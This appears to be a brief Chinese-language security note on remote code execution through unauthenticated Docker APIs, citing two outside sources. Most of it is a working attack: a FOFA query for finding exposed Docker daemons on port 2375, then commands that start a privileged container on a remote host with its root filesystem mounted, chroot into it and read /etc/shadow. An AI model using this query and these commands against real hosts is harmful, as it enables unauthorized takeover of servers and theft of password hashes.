12.14利用可远程访问的docker-API RCE

1. 来源

https://twitter.com/ptswarm/status/1338477426276511749

https://mp.weixin.qq.com/s/4ayfBOYJZSoafBPuEQtUBg

2. 复现

2.1 fofa

port=2375 && protocol=="docker"

2.2 手动复现

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
chroot /mnt
cat /etc/shadow